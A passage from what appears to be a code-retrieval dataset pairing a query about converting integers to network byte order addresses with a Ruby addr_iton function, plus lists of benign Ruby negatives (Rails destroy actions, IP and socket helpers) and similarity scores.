:no_content }\n end\n end", "def destroy\n @region.destroy\n\n head :no_content\n end", "def destroy\n @structure_content = Structure::Content.find(params[:id])\n @structure_content.destroy\n\n respond_to do |format|\n format.html { redirect_to structure_contents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to project_content_type_contents_path(@project, @content_type) }\n format.json { head :no_content }\n end\n end", "def destroy\n @droparea = Droparea.find(params[:id])\n @droparea.destroy\n @vehicle = Vehicle.find(1)\n\n respond_to do |format|\n format.html { redirect_to edit_post_url(@vehicle) }\n format.json { head :no_content }\n end\n end", "def destroy\n @shopping_area = ShoppingArea.find(params[:id])\n @shopping_area.destroy\n\n respond_to do |format|\n format.html { redirect_to shopping_areas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rescue_action_area.destroy\n respond_to do |format|\n format.html { redirect_to rescue_action_areas_url(@rescue_action), notice: 'Rescue action area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to content_index_url }\n format.json { head :ok }\n end\n end", "def destroy\n @admin_geonode = Admin::Geonode.find(params[:id])\n @admin_geonode.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_geonodes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @join_specific_content_to_place.destroy\n respond_to do |format|\n format.html { redirect_to join_specific_content_to_places_url, notice: 'Join specific content to place was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content.destroy\n\n head :no_content\n end", "def destroy\n @admin_city_hall_story.destroy\n respond_to do |format|\n format.html { redirect_to admin_city_hall_stories_url, notice: 'Dati Comune cancellata con successo!.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @practice_area.destroy\n respond_to do |format|\n format.html { redirect_to practice_areas_url, notice: 'Practice area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @areas_skill.destroy\n respond_to do |format|\n format.html { redirect_to areas_skills_url, notice: 'Areas skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @biography.destroy\n respond_to do |format|\n format.html { redirect_to admin_biographies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @project_area_interest.destroy\n respond_to do |format|\n format.html { redirect_to project_area_interests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @delivery_area.destroy\n respond_to do |format|\n format.html { redirect_to delivery_areas_url, notice: 'Delivery area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @userarea = Userarea.find(params[:id])\n @userarea.destroy\n respond_to do |format|\n format.html { redirect_to users_path(:id), info: 'El área de usuario fue destruida con éxito.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :ok }\n end\n end", "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n require_user()\n @area_of_expertise.destroy\n respond_to do |format|\n format.html { redirect_to area_of_expertises_url, notice: 'Area of expertise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to_back_or teach_contents_url(@teach) }\n format.json { head :ok }\n end\n end", "def destroy\n @story.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def delete_region\n Region.find(params[:id]).destroy\n render :json => {}\n end", "def destroy\n @fishing_area.destroy\n respond_to do |format|\n format.html { redirect_to fishing_areas_url, notice: \"Fishing area was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @post_geo = current_user.post_geos.find(params[:id])\n @post_geo.destroy\n\n respond_to do |format|\n format.html { redirect_to [:client, :post_geos] }\n format.json { head :no_content }\n end\n end", "def destroy\n @area_usuario = AreaUsuario.find(params[:id])\n @area_usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to areas_usuarios_url }\n format.json { head :ok }\n format.js \n end\n end", "def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to app_contents_url, notice: 'Content was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_url = ContentUrl.find(params[:id])\n @content_url.destroy\n\n respond_to do |format|\n format.html { redirect_to content_urls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @area.destroy\n flash[:notice] = \"Successfully removed #{@area.name} from the system.\"\n redirect_to areas_url\n end", "def destroy\n @agency = Agency.find(params[:id])\n @agency.destroy\n\n #head :no_content\n head :accepted # o deberia dejarlo en not_content\n end", "def destroy\n @encounter_area_feature = EncounterAreaFeature.find(params[:id])\n @encounter_area_feature.destroy\n\n respond_to do |format|\n format.html { redirect_to(encounter_area_features_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @content_piece = ContentPiece.find(params[:id])\n @content_piece.destroy\n\n respond_to do |format|\n format.html { redirect_to content_pieces_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @specific_content.destroy\n respond_to do |format|\n format.html { redirect_to specific_contents_url, notice: 'Specific content was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path, :notice => \"Successfully deleted content\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @especie_region.destroy\n respond_to do |format|\n format.html { redirect_to especies_regiones_url }\n format.json { head :no_content }\n end\n end", "def delete_content_template(id)\n # TODO: Inform ContentTemplateController.destroy method has been modified\n @client.raw('delete', \"/content/templates/#{id}\")\n end" ]
[ "0.7327646", "0.71997595", "0.7021301", "0.7021301", "0.7021301", "0.69308525", "0.6893276", "0.68679726", "0.68096644", "0.67741394", "0.67741394", "0.67516667", "0.6697249", "0.6693985", "0.6692189", "0.66753334", "0.66482323", "0.66410965", "0.66374415", "0.66193974", "0.6602278", "0.6602278", "0.65878665", "0.65562487", "0.653542", "0.6513628", "0.65106803", "0.64975715", "0.6482515", "0.6467699", "0.6464624", "0.6461086", "0.64376116", "0.643034", "0.64248174", "0.6415404", "0.63961834", "0.6394609", "0.6394609", "0.6392733", "0.63852024", "0.63796127", "0.63121223", "0.63047755", "0.6291205", "0.6233575", "0.62282467", "0.62281424", "0.6217668", "0.621612", "0.6196366", "0.6182153", "0.6167343", "0.6164184", "0.6162289", "0.6156258", "0.6156258", "0.6156258", "0.61452967", "0.61263186", "0.6122024", "0.61131257", "0.61122876", "0.6109226", "0.61012924", "0.6089551", "0.6089238", "0.60853475", "0.6075629", "0.60748416", "0.6070473", "0.60604894", "0.60583764", "0.6056415", "0.6050981", "0.6046613", "0.604439", "0.60311896", "0.602758", "0.60259634", "0.60259634", "0.60259634", "0.602582", "0.6025623", "0.6018764", "0.6015094", "0.6012067", "0.60047853", "0.60010844", "0.5994898", "0.59932894", "0.5988998", "0.598852", "0.5972216", "0.59719926", "0.5967978", "0.59657896", "0.59582496", "0.5952042", "0.59512174" ]
0.786855
0
Source: Rex::Socket Converts an integer address into ascii
def addr_itoa(addr, v6=false) nboa = addr_iton(addr, v6) addr_ntoa(nboa) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _to_string(addr)\n \"%d.%d.%d.%d\" % [ (addr >> 24) & 0xff, (addr >> 16) & 0xff, (addr >> 8) & 0xff, (0xff&addr) ] \n end", "def to_source; \"* = $#{@addr.to_s(16)}\"; end", "def ipv4_to_txt(ipv4)\n IPAddr.new(ipv4, Socket::AF_INET).to_s\nend", "def eton(addr)\n\t\taddr.split(':').map { |c| c.hex.chr }.join\n\tend", "def to_ipaddr\n unless ip_addr?\n lookup = `host #{to_s} | grep address`.split(/\\s+/)\n return to_s unless lookup.length == 4\n lookup[3]\n else \n to_s\n end\n end", "def to_s\r\n return to_socket\r\n end", "def ipv4_addr_to_string(uint32)\n \"#{(uint32 & 0xff000000) >> 24}.#{(uint32 & 0x00ff0000) >> 16}.#{(uint32 & 0x0000ff00) >> 8}.#{uint32 & 0x000000ff}\"\n end", "def net_pack_int(int)\n net_error \"#{__method__}: '#{int}' is too low allowed range #{NET_MIN_INT}-#{NET_MAX_INT}\" if int < NET_MIN_INT\n net_error \"#{__method__}: '#{int}' is too high allowed range #{NET_MIN_INT}-#{NET_MAX_INT}\" if int > NET_MAX_INT\n int += NET_INT_OFFSET\n int.chr\nend", "def str_ip(num)\n return nil unless num\n \"#{num >> 24}.#{(num >> 16) & 0xFF}.#{(num >> 8) & 0xFF}.#{num & 0xFF}\"\n end", "def to_x\n\t\t\tIPAddr.new(self.to_i, Socket::AF_INET6).to_s\n\t\tend", "def res_id_to_s(res_id)\n return \"0x#{res_id.to_s(16)}\"\n end", "def net_unpack_int(net_int)\n net_int.ord - NET_INT_OFFSET\nend", "def ip_string(ipint)\n octets = []\n 4.times do\n octet = ipint & 0xFF\n octets.unshift(octet.to_s)\n ipint = ipint >> 8\n end\n ip = octets.join('.')\n\t\treturn ip\n\tend", "def ip_string(ipint)\n octets = []\n 4.times do\n octet = ipint & 0xFF\n octets.unshift(octet.to_s)\n ipint = ipint >> 8\n end\n ip = octets.join('.')\n\t\treturn ip\n\tend", "def rcptto(to_addr); end", "def to_s\n @int.chr(Encoding::UTF_8)\n end", "def node_id_s\n node_bytes = [ @node_id >> 32, @node_id & 0xFFFF_FFFF].pack(\"NN\")\n elements = node_bytes.unpack(\"CCa6\")\n node = elements[-1].unpack('C*')\n elements[-1] = '%02x%02x%02x%02x%02x%02x' % node\n \"%02x%02x-%s\" % elements\n end", "def port_string; end", "def addr_ntoa(addr)\n # IPv4\n if (addr.length == 4)\n return addr.unpack('C4').join('.')\n end\n\n # IPv6\n if (addr.length == 16)\n return compress_address(addr.unpack('n8').map{ |c| \"%x\" % c }.join(\":\"))\n end\n\n raise RuntimeError, \"Invalid address format\"\n end", "def hex; @node_id.hexlify; end", "def mask_to_s\n _to_string(@mask_addr)\n end", "def chaddr\n @chaddr[0,@hlen].each_byte.map{|b| ('0'+b.to_s(16).upcase)[-2,2]}.join(':')\n end", "def int2str(dw)\n (dw & 0xff).chr + ((dw >> 8) & 0xff).chr + ((dw >> 16) & 0xff).chr + ((dw >> 24) & 0xff).chr\nend", "def to_s\n @normalized_rcdata.gsub(/&(?:#([0-9]+));/o) {|s|\n u = $1.to_i\n if 0 <= u && u <= 0x7f\n [u].pack(\"C\")\n else\n '?'\n end\n }\n end", "def int32_to_ip(num)\n return '0.0.0.0' if num == 0\n n = num.to_s(2) # binary version of 32-bit num\n ip = ''\n [0, 8, 16, 24].each do |x|\n ip += \"#{n[x..x + 7].to_i(2)}.\" # decimal version of 8 bit chunk\n end\n ip[0..-2]\nend", "def getHostid\n hex = IP.ToHex(@hostaddress)\n hex\n end", "def read_x(str)\n\t\t\taddr = IPAddr.new(str).to_i\n\t\t\tself[:a1]=Int32.new(addr >> 96)\n\t\t\tself[:a2]=Int32.new((addr & 0x00000000ffffffff0000000000000000) >> 64)\n\t\t\tself[:a3]=Int32.new((addr & 0x0000000000000000ffffffff00000000) >> 32)\n\t\t\tself[:a4]=Int32.new(addr & 0x000000000000000000000000ffffffff)\n\t\t\tself\n\t\tend", "def ntoa\n Dnet.addr_ntoa(self)\n end", "def get_string(dns_query, parsed_dns)\n str_num = dns_query[parsed_dns[:index]].unpack(\"C\")[0]\n str = dns_query[parsed_dns[:index] + 1, str_num]\n str.encode!(\"US-ASCII\", :invalid => :replace, :undef => :replace, :replace => '?')\n parsed_dns[:index] += str_num + 1\n return str\n end", "def ascii_s(hex_s)\n [hex_s].pack('H*')\nend", "def serial_read_int()\n return serial_read_line().hex\n end", "def arp_proto_readable\n\t\t\"0x%04x\" % arp_proto\n\tend", "def human_name\n \"reverse TCP\"\n end", "def convert_int(int)\n [int].pack('s>')\n end", "def IPAddress(str)\n IPAddress::parse str\nend", "def IPAddress(str)\n IPAddress::parse str\nend", "def to_ascii; convert_format(UTF8, ASCII8BIT);end", "def to_hexstr\n Common.unpackbytes(to_s)\n end", "def to_s22\n \tinteger=self.to_i\n \trval=''\n 22.times do\n c=(integer & 0x3F)\n rval+=@@chars64[c]\n integer =integer >> 6\n end\n return rval.reverse\n end", "def send(str)\r\n @socket.write(str + 0.chr)\r\n end", "def ToHex(ip)\n tmp = Ops.add(\n \"00000000\",\n Builtins.substring(\n Builtins.toupper(Builtins.tohexstring(ToInteger(ip))),\n 2\n )\n )\n Builtins.substring(tmp, Ops.subtract(Builtins.size(tmp), 8))\n end", "def to_r\n raw = [ @version, @command, @dest_port, Rex::Socket.addr_atoi( @dest_ip ) ].pack( 'CCnN' )\n return raw if( @userid.empty? )\n return raw + [ @userid ].pack( 'Z*' )\n end", "def str2ipaddr(str, delim = '.')\n ipaddr = 0\n str.split(delim).each {|o| ipaddr *= 256; ipaddr += o.to_i}\n\n return ipaddr\nend", "def to_ascii\n input.gsub(/[^\\x00-\\x7f]/u, &method(:decode)).strip\n end", "def to_integer\n ip_address.to_i\n end", "def nodeIP(num)\n return \"10.17.4.#{num+200}\"\nend", "def n_to_s( n )\n s = \"\"\n while( n > 0 )\n s = ( n & 0xFF ).chr + s\n n >>= 8\n end\n s\n end", "def getASCII(c)\n c.ord\nend", "def from_hex(str)\n str.to_s.hex\nend", "def mangle(netport)\n netport.sub(/\\d+/,'4000')\n end", "def port_from(random_string)\n random_string\n end", "def command(str)\n ar=str.split(/ /)\n case ar[0]\n when \"++addr\"\n if ar.size<2\n return @addr.to_s\n else \n @addr=ar[1].to_i\n end\n\n end\n return nil\n end", "def to_hex\n to_octet.unpack('H*').first\n end", "def ctcp_encode(str)\n \"\\x01#{ctcp_quote(str)}\\x01\"\n end", "def hex_to_u32(s)\n s.hex\nend", "def test_non_string_from_to_s\n create_socket [\"class BugExample; def to_s; 1; end; end\", \"b = BugExample.new\", \"sleep 0.01\"]\n run_to_line(3)\n send_ruby(\"v local\")\n assert_variables(read_variables, 1, {:value => \"ERROR: BugExample.to_s method returns #{int_type_name}. Should return String.\"})\n send_cont\n end", "def convert_phone_nbr_scrp\n if self[0] == \"0\"\n self[0].gsub(\"0\", \"+33\") + self[1..-1]\n end\n end", "def to_s; \"<Align: $#{@addr.to_s(16)}\"; end", "def force_to_ascii s\n out = \"\"\n s.each_byte do |b|\n if (b & 128) != 0\n out << \"\\\\x#{b.to_s 16}\"\n else\n out << b.chr\n end\n end\n #out.force_encoding Encoding::UTF_8 if in_ruby19_hell? # not necessary?\n out\n end", "def to_trace_id(hex_id)\n Array(hex_id[2..9] + hex_id[11..hex_id.length]).pack('H*')\n end", "def write(buf, addr)\n hex = Rex::Text.to_hex(buf, '')\n send_cmd \"M#{addr},#{buf.length.to_s(16)}:#{hex}\"\n read_response\n end", "def int2ip(intip)\n ip_segments = [3, 2, 1, 0].map { |i| (intip & (255 << i*8)) >> i*8 }\n (ip_str= ip_segments.join('.')) =~ IP_REGEXP ? ip_str : ''\n end", "def to_ascii(string)\n\t\tstring.unpack(\"U*\").map do |c| \n\t\t\tc.chr if c < 128\n\t\tend.join\n\tend", "def msg_to_hex(msg)\nreturn msg.unpack('H*')[0]\nend", "def to_hex(n)\n n.to_s(16).rjust(2, '0').upcase\nend", "def hex(num)\n num.to_s(16)\nend", "def hex_s(ascii_s)\n ascii_s.unpack('H*')[0]\nend", "def getIpFromNum(ii)\n \"172.31.0.#{100+ii}\"\nend", "def to_s(addr: nil)\n value = to_i(addr: addr)\n # TODO: don't fix the length at 64\n length = 64\n bits = (\"%0#{length}b\" % value).gsub(/(\\d)(?=(\\d\\d\\d\\d\\d\\d\\d\\d)+(?!\\d))/, '\\\\1_')\n comments = ''\n @instruction_specs.each do |_field_name, spec|\n comments += \"#{spec} \"\n end\n \"#{bits} // #{comments.strip}\"\n end", "def identity() @raw_socket.identity; end", "def string(buf)\n buf.read(integer(buf, 0)).force_encoding('utf-8')\n end", "def string(buf)\n buf.read(integer(buf, 0)).force_encoding('utf-8')\n end", "def get_hex(x)\n val = x.to_i.to_s(16)\n val = \"0#{val}\" if val.length < 2\n val\n end", "def to_s\n\t\treturn \"%s:%d\" % [ self.peer_host, self.peer_port ]\n\tend", "def convert_string_id_to_integer(string_id)\n string_id.bytes.join.to_i\nend", "def arp_src_ip= i; typecast \"arp_src_ip\", i; end", "def shortxlunicodestring(io)\n cch, flags = io.read(2).unpack('CC')\n _read_unicodestring(io, cch, flags)\n end", "def send(str)\n write(str + 0.chr)\n end", "def ip_to_int32(ip)\n ip = ip.split('.')\n result = 0\n ip.reverse.each_with_index do |i, index|\n result += i.to_i*2**(8*(index))\n end\n return result\nend", "def to_ascii(string)\n require 'unidecode'\n\n begin\n #string.unpack(\"U*\").map{|c|c.chr}.join\n #Iconv.iconv(\"US-ASCII//TRANSLIT\", \"UTF-8\", string).first\n Unidecoder.decode(string).gsub(\"[?]\", \"\").gsub(/`/, \"'\").strip\n \n \n rescue => errmsg\n p errmsg\n string\n end\n end", "def send_to_phone(ip_addr, data)\r\n\ts = TCPSocket.open(ip_addr, 5050)\r\n\ts.puts data\r\n\ts.close\r\nend", "def hex\n @id.unpack('H*').first\n end", "def arp_proto= i; typecast \"arp_proto\", i; end", "def bin_to_hex(s)\r\n s.each_byte.map { |b| b.to_s(16) }.join\r\n #puts s.bin_to_hex\r\nend", "def bcast_info\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n output = iface.name + ':' + iface.inspect\n int = ('Address:' + ' ' + output.split[1] + ' ' + output.split[3..4].to_s)\n puts int.gsub('?', '0')\n end\nend", "def arp_dest_ip= i; typecast \"arp_dest_ip\", i; end", "def to_hex_string(readable = true)\n unpacked = self.unpack('H*').first\n if readable\n unpacked.gsub(/(..)/,'\\1 ').rstrip\n else\n unpacked\n end\n\tend", "def get_socket_name(socket)\n case socket\n when 1\n return text_get(15, 0)\n when 2\n return \"Pokéball\"\n when 3\n return text_get(15, 2)\n when 4\n return text_get(15, 3)\n when 5\n return text_get(15, 4)\n when 6\n return text_get(15, 1)\n end\n return text_get(15, 0)\n end", "def s_to_i(s)\n if s[0..1] == \"0x\"\n return s.to_i(16)\n else\n return s.to_i(10)\n end\nend", "def address\n payload = \"#{version}#{public_key_hash}#{checksum}\"\n Base58.encode(payload.to_i(16))\n end", "def interface_code(int_idx, idx)\n sprintf(\"0x%x\", (int_idx || idx)).downcase\n end", "def in_addr(addr)\n if addr =~ /^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/\n (($1.to_i << 24) + ($2.to_i << 16) + ($3.to_i << 8) + ($4.to_i))\n else\n nil\n end\n end", "def to_s\n\t\t\t\"#{host}:#{port}\"\n\t\tend", "def get_ipaddr(dns_query, parsed_dns, length)\n address = \"\"\n case length\n when IPV4_ADDR_LENGTH\n address = dns_query[parsed_dns[:index], length].unpack(\"CCCC\").join('.')\n when IPV6_ADDR_LENGTH\n address = dns_query[parsed_dns[:index], length].unpack(\"nnnnnnnn\").map{|v| sprintf(\"%x\", v)}.join(':')\n end\n parsed_dns[:index] += length\n return address\n end", "def ascii_value(url)\n ascii_value = 0;\n url.each_char {|url| ascii_value += url.ord}\n return ascii_value\n end", "def hex2int(hex_string)\n hex_string.split(/([a-fA-F0-9][a-fA-F0-9])/i).reject(&:blank?).map {|h| h.to_i(16)}.map(&:chr).join\n end", "def encode\n ECDSA::Format::IntegerOctetString.encode(r, 32) + ECDSA::Format::IntegerOctetString.encode(s, 32)\n end", "def typecast_value_ipaddr(value)\n case value\n when IPAddr\n value\n when String\n IPAddr.new(value)\n else\n raise Sequel::InvalidValue, \"invalid value for inet/cidr: #{value.inspect}\"\n end\n end", "def typecast_value_ipaddr(value)\n case value\n when IPAddr\n value\n when String\n IPAddr.new(value)\n else\n raise Sequel::InvalidValue, \"invalid value for inet/cidr: #{value.inspect}\"\n end\n end", "def transform\n unless is_valid_ipv4_address?\n raise Valshamr::InvalidIPv4Error, \"Expected IPv4 address in the form of x[xx].x[xx].x[xx].x[xx], but received: #{@ip_address}.\"\n end\n\n octets = @ip_address.split \".\"\n octets.map! { |octet| convert_decimal_octet_to_hexadecimal octet.to_i }\n\n new_ip = construct_hexadecimal_portions octets\n\n \"::#{new_ip}\"\n end" ]
[ "0.64881986", "0.61728525", "0.61047655", "0.61040694", "0.60361385", "0.6026096", "0.59620535", "0.5958568", "0.59266573", "0.5924318", "0.57478696", "0.57301635", "0.57039243", "0.57039243", "0.56707793", "0.5668208", "0.56606215", "0.5645335", "0.56335104", "0.56279933", "0.56261724", "0.5586642", "0.5578121", "0.5572584", "0.5543042", "0.55371886", "0.55283606", "0.54961216", "0.54875404", "0.5471268", "0.5466372", "0.54599077", "0.5455726", "0.54516834", "0.54498476", "0.54498476", "0.54395837", "0.54315853", "0.5426343", "0.54206777", "0.5395893", "0.5395243", "0.53939193", "0.53771514", "0.53734297", "0.5354914", "0.5349382", "0.5348833", "0.53482264", "0.5332963", "0.5330772", "0.5330761", "0.53291684", "0.53132224", "0.53078467", "0.5306691", "0.53060204", "0.53037614", "0.53035116", "0.5302857", "0.52721477", "0.5270764", "0.52610296", "0.5260136", "0.5250901", "0.5250707", "0.5238431", "0.523814", "0.5228187", "0.5224028", "0.521116", "0.521116", "0.5202405", "0.51968986", "0.5193192", "0.5191567", "0.5188377", "0.5183535", "0.516959", "0.51618516", "0.5161037", "0.51609796", "0.5160836", "0.5160543", "0.51543313", "0.5146203", "0.5139924", "0.51320887", "0.5129594", "0.5127546", "0.51212084", "0.51184946", "0.51125", "0.51081234", "0.5106929", "0.51043844", "0.51023537", "0.5101202", "0.5101202", "0.5096351" ]
0.5518871
27
Source: Rex::Socket Converts an integer into a network byte order address
def addr_iton(addr, v6=false) if(addr < 0x100000000 && !v6) return [addr].pack('N') else w = [] w[0] = (addr >> 96) & 0xffffffff w[1] = (addr >> 64) & 0xffffffff w[2] = (addr >> 32) & 0xffffffff w[3] = addr & 0xffffffff return w.pack('N4') end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def net_unpack_int(net_int)\n net_int.ord - NET_INT_OFFSET\nend", "def _to_string(addr)\n \"%d.%d.%d.%d\" % [ (addr >> 24) & 0xff, (addr >> 16) & 0xff, (addr >> 8) & 0xff, (0xff&addr) ] \n end", "def net_pack_int(int)\n net_error \"#{__method__}: '#{int}' is too low allowed range #{NET_MIN_INT}-#{NET_MAX_INT}\" if int < NET_MIN_INT\n net_error \"#{__method__}: '#{int}' is too high allowed range #{NET_MIN_INT}-#{NET_MAX_INT}\" if int > NET_MAX_INT\n int += NET_INT_OFFSET\n int.chr\nend", "def int32_to_ip(num)\n return '0.0.0.0' if num == 0\n n = num.to_s(2) # binary version of 32-bit num\n ip = ''\n [0, 8, 16, 24].each do |x|\n ip += \"#{n[x..x + 7].to_i(2)}.\" # decimal version of 8 bit chunk\n end\n ip[0..-2]\nend", "def str_ip(num)\n return nil unless num\n \"#{num >> 24}.#{(num >> 16) & 0xFF}.#{(num >> 8) & 0xFF}.#{num & 0xFF}\"\n end", "def ipv4_addr_to_string(uint32)\n \"#{(uint32 & 0xff000000) >> 24}.#{(uint32 & 0x00ff0000) >> 16}.#{(uint32 & 0x0000ff00) >> 8}.#{uint32 & 0x000000ff}\"\n end", "def nodeIP(num)\n return \"10.17.4.#{num+200}\"\nend", "def to_integer\n ip_address.to_i\n end", "def to_x\n\t\t\tIPAddr.new(self.to_i, Socket::AF_INET6).to_s\n\t\tend", "def to_source; \"* = $#{@addr.to_s(16)}\"; end", "def to_ipaddr\n unless ip_addr?\n lookup = `host #{to_s} | grep address`.split(/\\s+/)\n return to_s unless lookup.length == 4\n lookup[3]\n else \n to_s\n end\n end", "def str2ipaddr(str, delim = '.')\n ipaddr = 0\n str.split(delim).each {|o| ipaddr *= 256; ipaddr += o.to_i}\n\n return ipaddr\nend", "def in_addr(addr)\n if addr =~ /^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/\n (($1.to_i << 24) + ($2.to_i << 16) + ($3.to_i << 8) + ($4.to_i))\n else\n nil\n end\n end", "def read_x(str)\n\t\t\taddr = IPAddr.new(str).to_i\n\t\t\tself[:a1]=Int32.new(addr >> 96)\n\t\t\tself[:a2]=Int32.new((addr & 0x00000000ffffffff0000000000000000) >> 64)\n\t\t\tself[:a3]=Int32.new((addr & 0x0000000000000000ffffffff00000000) >> 32)\n\t\t\tself[:a4]=Int32.new(addr & 0x000000000000000000000000ffffffff)\n\t\t\tself\n\t\tend", "def ip_to_int32(ip)\n ip = ip.split('.')\n result = 0\n ip.reverse.each_with_index do |i, index|\n result += i.to_i*2**(8*(index))\n end\n return result\nend", "def getIpFromNum(ii)\n \"172.31.0.#{100+ii}\"\nend", "def rcptto(to_addr); end", "def ip_from_num(i)\n \"192.168.90.#{i+IP_OFFSET}\"\nend", "def convert_int(int)\n [int].pack('s>')\n end", "def ntoa\n Dnet.addr_ntoa(self)\n end", "def to_6to4\n if @family == Socket::AF_INET\n IPAddr.new((0x2002 << 112) + (@addr << 80), Socket::AF_INET6).tap { |p| p.length = 48 }\n end\n end", "def get_byte\n byte = @connection.getbyte.to_s 2\n byte = \"0\" * (8 - byte.length) + byte\n end", "def typecast_value_ipaddr(value)\n case value\n when IPAddr\n value\n when String\n IPAddr.new(value)\n else\n raise Sequel::InvalidValue, \"invalid value for inet/cidr: #{value.inspect}\"\n end\n end", "def typecast_value_ipaddr(value)\n case value\n when IPAddr\n value\n when String\n IPAddr.new(value)\n else\n raise Sequel::InvalidValue, \"invalid value for inet/cidr: #{value.inspect}\"\n end\n end", "def IPAddress(str)\n IPAddress::parse str\nend", "def IPAddress(str)\n IPAddress::parse str\nend", "def node_id_s\n node_bytes = [ @node_id >> 32, @node_id & 0xFFFF_FFFF].pack(\"NN\")\n elements = node_bytes.unpack(\"CCa6\")\n node = elements[-1].unpack('C*')\n elements[-1] = '%02x%02x%02x%02x%02x%02x' % node\n \"%02x%02x-%s\" % elements\n end", "def mask_to_i\n @mask_addr\n end", "def ipv4_to_txt(ipv4)\n IPAddr.new(ipv4, Socket::AF_INET).to_s\nend", "def ip_string(ipint)\n octets = []\n 4.times do\n octet = ipint & 0xFF\n octets.unshift(octet.to_s)\n ipint = ipint >> 8\n end\n ip = octets.join('.')\n\t\treturn ip\n\tend", "def ip_string(ipint)\n octets = []\n 4.times do\n octet = ipint & 0xFF\n octets.unshift(octet.to_s)\n ipint = ipint >> 8\n end\n ip = octets.join('.')\n\t\treturn ip\n\tend", "def socket_type\n\t\t\t\taddress.socktype\n\t\t\tend", "def get_internal_ip_address\r\n sock = UDPSocket.new\r\n sock.connect('1.0.0.1', 1) #@igd_location.split('//').last.split('/').first.split(':').first\r\n return sock.addr.last\r\n rescue Exception\r\n return \"127.0.0.1\"\r\n end", "def to_hex\n to_octet.unpack('H*').first\n end", "def to_s\r\n return to_socket\r\n end", "def mangle(netport)\n netport.sub(/\\d+/,'4000')\n end", "def arp_proto_readable\n\t\t\"0x%04x\" % arp_proto\n\tend", "def device_ipaddress=(_arg0); end", "def device_ipaddress=(_arg0); end", "def address\n payload = \"#{version}#{public_key_hash}#{checksum}\"\n Base58.encode(payload.to_i(16))\n end", "def getlx ( addr )\n \"40000000\"\nend", "def fixnum\n Util.from_bytes :fixnum, value\n end", "def arp_proto; self[:arp_proto].to_i; end", "def binary_to_ipv4(ipv4addr)\n ia = ipv4addr.to_s.split('.')\n if ia.size != 4\n return \"0.0.0.0\"\n end\n output = \"\"\n i = 1\n for octett in ia\n output = output + octett.to_s.to_i(2).to_s\n if i < 4\n output = output + \".\"\n end\n i += 1\n end\n output\n end", "def save_ip_addr\n self.ip_address = IPAddr.new(self.ip_address).to_i.to_s(16).rjust(8, \"0\")\n end", "def get_int(s, context = \"?\")\n int = s.recv(4)\n\n if(int.nil? || int.length != 4)\n puts(\"Receive failed :: #{context}\");\n exit\n end\n\n return int.unpack(\"I\").pop\nend", "def parse_int(bytes)\n if bytes.is_a?(Array) then bytes = bytes.join end\n bytes.unpack('H*')[0].scan(/../).reverse.join.to_i(16)\nend", "def arp_proto= i; typecast \"arp_proto\", i; end", "def get_sockaddr\n Socket.unpack_sockaddr_in(get_sockname).reverse\n end", "def port_string; end", "def to_s(addr: nil)\n value = to_i(addr: addr)\n # TODO: don't fix the length at 64\n length = 64\n bits = (\"%0#{length}b\" % value).gsub(/(\\d)(?=(\\d\\d\\d\\d\\d\\d\\d\\d)+(?!\\d))/, '\\\\1_')\n comments = ''\n @instruction_specs.each do |_field_name, spec|\n comments += \"#{spec} \"\n end\n \"#{bits} // #{comments.strip}\"\n end", "def arp_dest_ip= i; typecast \"arp_dest_ip\", i; end", "def device_ipaddress; end", "def device_ipaddress; end", "def ip_address\n Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address\n end", "def GetIpFromId(id)\n \"192.168.0.#{id+1}\"\n end", "def socket_address\n peer = get_peername\n Socket.unpack_sockaddr_in(peer)[1] if peer\n end", "def socket_protocol\n\t\t\t\taddress.protocol\n\t\t\tend", "def getHostid\n hex = IP.ToHex(@hostaddress)\n hex\n end", "def eton(addr)\n\t\taddr.split(':').map { |c| c.hex.chr }.join\n\tend", "def get_mac_address(pool, num)\n end_num = num.to_s(16)\n # mac_address = pool.starting_mac_address\n mac_address = '002440'\n mac_address = mac_address.ljust(12, \"0\")\n 